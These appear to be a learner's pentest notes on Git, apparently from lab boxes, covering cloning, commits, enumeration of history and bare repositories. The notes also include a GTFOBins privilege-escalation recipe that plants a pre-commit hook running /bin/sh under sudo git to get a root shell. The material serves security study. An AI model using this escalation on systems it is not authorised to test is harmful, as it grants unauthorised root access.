Summery

Git is a version-control system that tracks changes to files over time. It lets you save versions (“commits”), view changes/history, create branches, and collaborate with others.

To contribute to an existing tool, you need to fork it so that you have a copy of the original repository on your git account. Then you clone it locally, make the changes you want and push them to your fork. Lastly, you open a pull request asking the original author to review merge your changes.

Commands

Cloning
git clone http://10.129.234.64:3000/ellen.freeman/dev-scripts.git - Normal usage
git clone http://<USERNAME>:<PASSWORD/HASH>@10.129.234.64:3000/ellen.freeman/website.git - Authenticated cloning

Push
git add . - Stage all changes
git commit -m "Describe changes" - Save changes locally
git push - Send the changes to the remote repo

Pull
git pull - Update your local repository. Downloads all new changed to you locally so you’re up-to-date

Enumeration
git status - Shows the repository’s current state: which files are modified, deleted, untracked, or staged for the next commit.
git log - Shows the commit history of the repository
git show 612ff5783cc5dbd1e0e008523dba83374a84aaf1 - Show the commit details

Privilege escalation

There are many ways to escalate privileges with git.

Here’s an example with sudo ALL privilege from GTFOBins.

sudo git init .
echo 'exec /bin/sh 0<&2 1>&2' >.git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
sudo git -C . commit --allow-empty -m x

Bare Git repositories

Normally, Git repos store their history, branches, and metadata in the .git directory. A bare Git repository stores Git history, branches, and objects without a working directory containing checked-out files.

Checked-out files are the actual project files extracted from a Git repository into a working directory, so you can read or modify them.
For example, after cloning a repository, you might see app.py, README.md, and config.json on disk. These are checked-out files.

A bare repository contains Git data but no checked-out project files. It is mainly used to store and share repository history without maintaining a working copy.
Bare repositories are commonly used on servers as central repositories where developers push and pull changes. They avoid having checked-out files that could conflict with incoming updates.

Resources

Intentions, UpDown